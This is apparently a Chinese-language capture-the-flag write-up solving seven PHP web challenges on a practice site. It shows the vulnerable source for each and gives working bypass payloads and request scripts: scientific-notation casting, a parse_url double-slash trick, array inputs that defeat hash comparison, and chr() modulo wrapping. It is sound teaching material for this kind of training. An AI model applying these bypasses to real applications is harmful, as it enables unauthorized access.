web1:warmup 1 2 3 4 5 6 7 <?php error_reporting (0 ); require __DIR__ .'/lib.php' ; echo base64_encode (hex2bin (strrev (bin2hex ($flag )))), '<hr>' ; highlight_file (__FILE__ );
题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
payload1:
1 2 3 4 <?php $str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=" ;echo hex2bin (strrev (bin2hex (base64_decode ($str )))); ?>
payload2:
1 2 s='1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=' print s.decode('base64' ).encode('hex' )[::-1 ].decode('hex' )
web2:Bad compare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 ); require __DIR__ .'/lib.php' ; if (isset ($_GET ['answer' ])){ if ($_GET ['answer' ] === 'роВхУъесЧМ' ){ echo $flag ; }else { echo 'Wrong answer' ; } echo '<hr>' ; } highlight_file (__FILE__ );
问题在于роВхУъесЧМ这一串奇怪的字符安,直接复制不行,编码问题。
payload1: burpsuit里看到要比较的内容的16进制编码
1 http://badcompare.solveme.peng.kr/index.php?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc
payload2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport reimport urlliburl = 'http://badcompare.solveme.peng.kr/' rule = '=== </span><span style="color: #DD0000">\'(.+?)\'</span><span style="color: #007700">' r = requests.get(url) result = re.findall(rule,r.content) result = '' .join(result) s = requests.get('http://badcompare.solveme.peng.kr/?answer=' +urllib.quote(result)) print s.content
payload3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __author__ = 'ywc' import requestsimport urllibimport redef foo (): url='http://badcompare.solveme.peng.kr/' cont=requests.get(url).content answer=re.findall(r"=== </span><span style=\"color: #DD0000\">'(.*?)'</span>" ,cont)[0 ] print requests.get(url+'?answer=' +urllib.quote(answer)).content pass if __name__ == '__main__' : foo() print 'ok'
web3:Winter sleep 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 ); require __DIR__ .'/lib.php' ; if (isset ($_GET ['time' ])){ if (!is_numeric ($_GET ['time' ])){ echo 'The time must be number.' ; }else if ($_GET ['time' ] < 60 * 60 * 24 * 30 * 2 ){ echo 'This time is too short.' ; }else if ($_GET ['time' ] > 60 * 60 * 24 * 30 * 3 ){ echo 'This time is too long.' ; }else { sleep ((int )$_GET ['time' ]); echo $flag ; } echo '<hr>' ; } highlight_file (__FILE__ );
关键函数:
is_numeric(): 检测变量是否为数字或数字字符串,支持科学计数法。
(int): 强制转换为int,会截取到第一个非数字。(若第一位就是非数字,返回0)
sleep(): 延迟代码执行若干秒。
可见我们输入一个介于5184000~7776000直接的值即可拿到flag
但实际上这样我们的浏览器会sleep大量时间,显然不可取,这时想到科学计数法。
在php做如下实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php echo 60 * 60 * 24 * 30 * 2 ,'<br>'; //5184000 echo 60 * 60 * 24 * 30 * 3,'<br>' ; //7776000 echo (int)'123abc' ,'<br>'; //123 echo (int)'1abc23' ,'<br>'; //1 echo (int)'abc123' ,'<br>'; //0 echo 6e6 ,'<br>'; //6000000 echo (int)'6e6'; //6
从上面代码可以看出,(int)将字符串转换成了int型,比如第三行,将123abc输出为123,第四行把1abc23输出为1。第五行把abc123输出为123
所以这里我们可以用科学计数法,6e6这个刚好满足代码的逻辑。
sleep也之执行6秒,当然也可以用其他的数字在5184000~777600之间,以科学计数法表示即可。
payload:
1 http://wintersleep.solveme.peng.kr/?time=6e6
web4:Hard login 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 ); session_start (); require __DIR__ .'/lib.php' ; if (isset ($_GET ['username' ], $_GET ['password' ])){ if (isset ($_SESSION ['hard_login_check' ])){ echo 'Already logged in..' ; }else if (!isset ($_GET ['username' ]{3 }) || strtolower ($_GET ['username' ]) != $hidden_username ){ echo 'Wrong username..' ; }else if (!isset ($_GET ['password' ]{7 }) || $_GET ['password' ] != $hidden_password ){ echo 'Wrong password..' ; }else { $_SESSION ['hard_login_check' ] = true ; echo 'Login success!' ; header ('Location: ./' ); } echo '<hr>' ; } highlight_file (__FILE__ );
payload1:
访问index.php抓包发包判断成功后跳转到index.php,但网页又会自动转到login.php,所以用burp截包即可
payload2:
1 curl http://hardlogin.solveme.peng.kr/
web5:URL filtering 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 ); require __DIR__ ."/lib.php" ; $url = urldecode ($_SERVER ['REQUEST_URI' ]); $url_query = parse_url ($url , PHP_URL_QUERY); $params = explode ("&" , $url_query ); foreach ($params as $param ){ $idx_equal = strpos ($param , "=" ); if ($idx_equal === false ){ $key = $param ; $value = "" ; }else { $key = substr ($param , 0 , $idx_equal ); $value = substr ($param , $idx_equal + 1 ); } if (strpos ($key , "do_you_want_flag" ) !== false || strpos ($value , "yes" ) !== false ){ die ("no hack" ); } } if (isset ($_GET ['do_you_want_flag' ]) && $_GET ['do_you_want_flag' ] == "yes" ){ die ($flag ); } highlight_file (__FILE__ );
看到过滤
1 2 3 if (strpos ($key , "do_you_want_flag" ) !== false || strpos ($value , "yes" ) !== false ){ die ("no hack" ); }
但是题目却要求我们使用do_you_want_flag=yes来获取flag
显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作
此时想到parse_url一个解析漏洞,参考一叶飘零师傅的文章
在?前添加 / 会使pares_url函数返回false,这样可以绕过前面的判断会让parse_url返回false
payload:
1 http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes
web6:Hash collison 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 ); require __DIR__ .'/lib.php' ; if (isset ($_GET ['foo' ], $_GET ['bar' ])){ if (strlen ($_GET ['foo' ]) > 30 || strlen ($_GET ['bar' ]) > 30 ){ die ('Too long' ); } if ($_GET ['foo' ] === $_GET ['bar' ]){ die ('Same value' ); } if (hash ('sha512' , $_GET ['foo' ]) !== hash ('sha512' , $_GET ['bar' ])){ die ('Different hash' ); } echo $flag , '<hr>' ; } highlight_file (__FILE__ );
可以看到要求我们用不同的值,并且sha512相等,所以想到数组绕过漏洞
payload:
1 http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2
web7:Array2String 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 ); require __DIR__ .'/lib.php' ; $value = $_GET ['value' ]; $username = $_GET ['username' ]; $password = $_GET ['password' ]; for ($i = 0 ; $i < count ($value ); ++$i ) { if ($_GET ['username' ]) unset ($username ); if ($value [$i ] > 32 && $value [$i ] < 127 ) unset ($value ); else $username .= chr ($value [$i ]); if ($username == '15th_HackingCamp' && md5 ($password ) == md5 (file_get_contents ('./secret.passwd' ))) { echo 'Hello ' .$username .'!' , '<br>' , PHP_EOL; echo $flag , '<hr>' ; } } highlight_file (__FILE__ );
由代码可知传入username和password两个变量,password可以通过访问./secret.passwd得到
username==15th_HackingCamp 但是前面增加限制,在32-127之间,并且经过chr()函数的转义,经查阅chr函数有一个特性:
1 2 3 Note that if the number is higher than 256, it will return the number mod 256. For example : chr(321)=A because A=65(256)
查阅文章 得知chr()会自动进行mod256,因此可写脚本:
php脚本:
1 2 3 4 5 6 7 8 9 10 <?php $username = '15th_HackingCamp' ; $arr = str_split ($username ); foreach ($arr as $value ){ $value = ord ($value ) + 256 ; $payload .= 'value[]=' . $value . '&' ; } echo $payload .= 'password=simple_passw0rd' ; ?>
生成最后的payload value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsdef ook (): url = 'http://array2string.solveme.peng.kr/' username_plaintext = '15th_HackingCamp' mod_number = 256 query_str = '?' for i in username_plaintext: c = ord (i) + mod_number query_str += 'value[]=%d&' % c query_str += 'password=simple_passw0rd' print requests.get(url + query_str).content pass if __name__ == '__main__' : ook() print 'ok'